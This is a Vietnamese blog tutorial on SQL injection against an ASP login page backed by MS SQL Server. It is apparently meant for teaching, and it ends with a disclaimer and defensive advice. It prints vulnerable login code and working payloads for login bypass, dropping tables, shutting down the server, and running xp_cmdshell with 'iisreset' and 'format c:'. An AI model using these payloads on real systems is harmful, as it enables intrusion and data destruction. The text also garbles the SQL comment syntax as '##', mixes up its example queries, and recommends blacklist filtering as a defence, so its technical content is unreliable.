Wednesday 2 June 2010

@SQL Injection là gì?

Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các website. Đó chính là lý do mà việc bảo vệ Database của 1 website lại rất quan trọng để bảo vệ quyền lợi khách hàng, vận hành việc kinh doanh 1 cách hiệu quả.

Nhưng điều gì xảy ra khi bạn nhận ra rằng những dữ liệu đó không an toàn. Điều gì sẽ xảy ra khi bạn nhận ra rằng có 1 lỗi bảo mật mới được phát hiện? Bạn sẽ trả lời ngay rằng bạn sẽ tìm kiếm 1 phiên bản sữa lổi (patch) hoặc nâng cấp ứng dụng lên version mới hơn. Nhưng bạn sẽ không ngờ rằng ,còn có 1 loại lỗi khác không thể nào trông chờ vào việc sửa chữa của hãng viết softwares vì lỗi này phát sinh là do...chính bạn. Lỗi SQL Injection (Chèn lệnh SQL).

Vậy SQL Injection là gì ?

Ngày nay các ứng dụng SQL ngày càng trở nên thân thiện hơn và dễ sử dụng hơn. Nhưng theo qui tắc bảo mật, cái gì càng dễ sử dụng và càng nhiều tính năng thì càng dễ bị tấn công và điều này hoàn toàn đúng với 1 số phiên bản của ngôn ngữ SQL mà tôi sẽ mô tả sau đây bằng 2 công nghệ thông dụng nhất hiện nay , ngôn ngữ ASP và Ms.SQL server.

Như bạn đã biết, ngôn ngữ SQL (Structured Query Language) thông thường là sự kết hợp của những lệnh như SELECT , UPDATE hay INSERT... Như với SELECT, sau mỗi lệnh là sự trả về 1 số data cần thiết, vd như

SELECT * FROM Users WHERE userName = 'justin';

Định nghĩa WHERE userName = 'justin' có nghĩa rằng chúng ta múôn biết tất cả các thông tin (*) về username có tên là justin. Bởi vì ngôn ngữ SQL gần với câu nói tự nhiên , dễ hiểu như vậy nên nó đã nhanh chóng được tiếp nhận và nó cũng mở ra cơ hội cho việc khai thác lỗi SQL Injection bằng cách "nói thêm".

Bằng cách chèn thêm 1 vài dòng vào , hackers có thể gây ra sự nhầm lẫn của server và thực hiện 1 ý đồ khác ngoài mục tiêu của chương trình. Hãy xem xét ví dụ sau:

Thông thường , để kiểm tra đăng nhập 1 user, đa số website sẽ cung cấp 1 form như sau:
Trích:

(form name="frmLogin" action="login.asp" method="post")
Username: (input name="userName" type="text")
Password: (input name="password" type="text")
(input type="submit")
(/form)

Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính user này. Chúng ta có thể tạo 1 files login.asp như sau:
Trích:
<% dim userName, password, query dim conn, rS userName = Request.Form("userName") password = Request.Form("password") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select * from users where userName='" & userName & "' and userPass='" & password & "'" conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Logged In" else response.write "Bad Credentials" end if %>
Và sau đó , hãy tạo 1 database mẫu như sau:
Trích:
create database myDB
go

use myDB
go

create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)

insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('fsmith', 'mypassword')
Bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ như thế này:
Code:
select count(*) from users where userName='john' and userPass='doe'
Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form như thế này:
Trích:
User:john
password:' or 1=1 ##
Câu query trở thành
Trích:
select * from users where userName='john' and
userPass='' or 1=1 ##'
Ms.SQL qui định tất cả những gì theo sau "##" đều là câu chú thích (Giống như dấu // trong C++) , do đó câu query bây giờ sẽ:

1. Kiểm tra xem có username là john hay không ? ##> Có
2. Kiểm tra xem 1 = 1 đúng hay không ? ##> Đúng
3. Sau ## là chú thích , không quan tâm. ##> Đúng

Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một cách dễ dàng mà không cần biết password của anh ta. 2 dấu ## để ở cuối câu SQL dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu SQL chính thức.

Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ "chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào:

Trích:
Username: ' or 1=1 ##-
Password: [Bất cứ cái gì]
Câu SQL trở thành
Trích:
select * from users where userName='' or 1=1
##' and userPass=''
Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển website.

Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cách khắc phục , nhưng trước hết chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection

Ví dụ 1:

Microsoft SQL phát triển riêng cho ḿnh 1 cách viết lệnh SQL mới , c̣n gọi là Transact SQL, hay TSQL. Tôi sẽ sử dụng sức mạnh của TSQL để mô tả về cách thức tấn công SQL Injection. Hăy dựa vào câu SQL mà chúng ta đang xem xét. Giả sử tôi nhập vào:
Trích:
Username: ' having 1=1 ##-
Password: [Anything]
Câu SQL trở thành
Trích:
select userName from users where userName='' having 1=1
Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
Trích:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/login.asp, line 16
Nhìn kỹ lại thông báo và chúng ta thấy rằng Ms.SQL đă để lộ 2 thông tin cho người dùng vô danh (ở đây là chúng ta đang thử khai thác lỗi SQL Injection) là tên của 1 Field và tên của Table mà chúng ta đang muốn xâm nhập , field "users.userName" . Sử dụng tên có được này chúng ta dùng cú pháp LIKE:
Trích:
Username: ' or users.userName like 'a%' ##-
Password: [Anything]
và câu SQL trở thành
Trích:
select userName from users where userName='' or
users.userName like 'a%' ##' and userPass=''
Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin

Logged In As admin

Ví dụ 2:

Ngôn ngữ SQL qui định dấu ';' là kết thúc 1 câu query và sau dấu ';' là một câu query mới. Ví dụ như: select 1; select 1+2; select 1+3; sẽ thực hiện cả 3 câu query. Lợi dụng điều này , ta hăy làm như sau:
Trích:
Username: ' or 1=1; drop table users; ##
Password: [Anything]
Và ...phù, toàn bộ dữ liệu về users của website biến mất.

Ví dụ 3:

Trong ví dụ này tôi sẽ cho bạn thấy việc khai thác sự tiện lợi của TSQL có thể làm biến mất Database hoặc thậm chí shutdown luôn IIS.
Chúng ta sẽ xem xét 1 số lệnh đặc biệt của Ms.SQL và phần "stored procedures".

Đa số website khi kết nối với Database thường sử dụng account sa(default system account) để kết nối từ ASP đến Ms.SQL. Mặc định , account sa có toàn quyền , bao gồm delete, rename, và thêm vào database, table , triggers....

Nào bây giờ chúng ta hăy nhập vào:
Trích:
Username: '; shutdown with nowait; ##
Password: [Anything]
Một trong những lệnh "nguy hiểm" nhất của Ms.SQL là SHUTDOWN WITH NOWAIT . Khi nhận lệnh này , toàn bộ server Ms.SQL ngừng hoạt động hoàn toàn và chỉ restart và làm việc lại khi được ra lệnh bằng tay từ tŕnh SQL service manager , hoặc tab Services của Windows. Và khi bạn nhập vào như trên , câu SQL trở thành:
Trích:
select userName from users where userName='';
shutdown with nowait; ##' and userPass=''
Nếu website sử dụng account sa và bị khai thác lỗi như trên , nó sẽ dừng hoàn toàn phần Database từ 1giây cho đến vài ngày , dừng đến khi nào có người phát hiện ra là nó đă bị dừng và khởi động nó lại bằng tay.

SQL Server cũng có sẵn (Includes) một vài thủ tục (stored procedures) được viết bằng C++ DLL. Những thủ tục này được dùng để vận hành SQL Server một cách dễ dàng như đọc thư mục , registry , xóa files, chạy 1 ḍng lệnh command... Toàn bộ stored procedures thường bắt đầu bằng "xp_". Có 1 vài stored procedures có thể gây nguy hiểm cho server. Hăy xem xét , giả sử IIS chạy cùng server với SQL server và chúng ta nhập vào:
Trích:
Username: '; exec master..xp_cmdshell 'iisreset'; ##
Password: [Anything]
Câu lệnh SQL trở thành:
Trích:
select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; ##' and userPass=''
Ngạc nhiên chưa ? Sau khi SQL Server biến mất thì bây giờ toàn bộ website biến mất !!!

Trên đây là 3 ví dụ đi từ Login = acc admin -> Xóa dữ liệu toàn bộ user -> toàn bộ website biến mất !!!

Arrow Phòng tránh SQL Injection như thế nào ?

Hăy suy nghĩ như 1 hackers và thiết kế website của bạn với sự thận trọng tối đa. Như bạn đă thấy , những cách thức tấn công mà tôi ví dụ như trên không hề đòi hỏi 1 sự hiểu biết rộng về SQL mà đơn giản, hackers chỉ ứng dụng tốt những thứ cơ bản và lợi dụng vào... sự chủ quan của bạn. Qui tắc số 1 trong thiết kế website có tương tác với người sử dụng là: ĐỪNG TIN NHỮNG GÌ USER ĐÁNH VÀO.

Một số biện pháp an toàn mà tôi biết được như sau:

* Giới hạn quyền user:


Đừng bao giờ sử dụng Default system account (sa) trong SQL server 2000 bởi vì account này có quá nhiều quyền hành. Bạn nên thiết kế 1 account để chỉ đáp ứng "đủ" những yêu cầu của website. Nếu bạn không sử dụng triggers, stored procedures, user-defined functions,... hăy Remove tất cả. Một trong những thứ hay bị Hackers lợi dụng là xp_cmdshell , xp_grantlogin. vì vậy, hãy mạnh tay remove tất cả những gì bạn không sử dụng và không chắc sẽ sử dụng.

* Loại bỏ dấu nháy (Quotes)

Như bạn đă thấy, một số cách Injection là lợi dụng sự sơ hở của dấu ' , bằng cách tạo ra 1 hàm loại bỏ dấu ' như sau:
Trích:
<% function stripQuotes(strWords) stripQuotes = replace(strWords, "'", "''") end function %>

Thì câu Injection từ
Trích:
select count(*) from users where userName='john' and
userPass='' or 1=1 ##'
Trở thành
Trích:
select count(*) from users where userName='john'' and
userPass=''' or 1=1 ##'

Và câu SQL trên trở nên vô nghĩa.

* Cấm những từ "nhạy cảm":

Thông qua 1 số ví dụ trên , chúng ta dễ dàng nhận ra những từ nhạy cảm của SQL là ;, ##, select, insert và xp. Bằng cách tạo ra 1 hàm để loại bỏ những từ trên:
Trích:
<% function killChars(strWords) dim badChars dim newChars badChars = array("select", "drop", ";", "##", "insert", "delete", "xp_") newChars = strWords for i = 0 to uBound(badChars) newChars = replace(newChars, badChars(i), "") next killChars = newChars end function %>

Sử dụng kết hợp giữa stripQuotes và killChars để loại bỏ những từ "nhạy cảm" 1 cách triệt để , hăy xem nếu câu SQL Injection có dạng:
Trích:
select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database myDB; ##
Sẽ trở thành:
Trích:
prodName from products where id=1 cmdshell ''format c:
/q /yes '' database myDB

Và hoàn toàn vô nghĩa.

* Giới hạn những gì họ nói:


Bằng cách giới hạn những Textbox và input càng ngắn càng tốt , bạn sẽ giảm thiểu nguy cơ tối đa bị tấn công bằng Injection. Ngoài ra phải kiểm tra những input có dạng số (VD như Product=1) bằng hàm IsNumeric()..

Kết luận:

Những ví dụ trên này chỉ giúp bạn hình dung về SQL Injection và suy nghĩ như Hackers. Thật không thể nào bảo đảm được rằng có 1 cách nào đó có thể chống lại lỗi này và tự bạn phải liên tưởng ra các t́nh huống cụ thể để bảo vệ server của bạn.

Mặc dù trên đây chúng ta chỉ đưa ra ví dụ với Mircosoft SQL Server , nhưng lỗi SQL Injection xuất hiện trong tất cả các phiên bản của SQL như MySQL , Oracle... và không thể sửa chữa bởi nhà cung cấp vì đó là lỗi sơ xuất của người lập trình web.

Những kiến thức, ví dụ trên đây chỉ nhằm mục đích học tập, bạn không được sử dụng chúng để phá hoại. Tôi không chịu trách nhiệm về bất cứ hành vi nào do người đọc bài viết này gây ra.

-NightMare-
Nguồn: http://vnitclub.org/forum/showthread.php?p=9167

No comments:

Post a Comment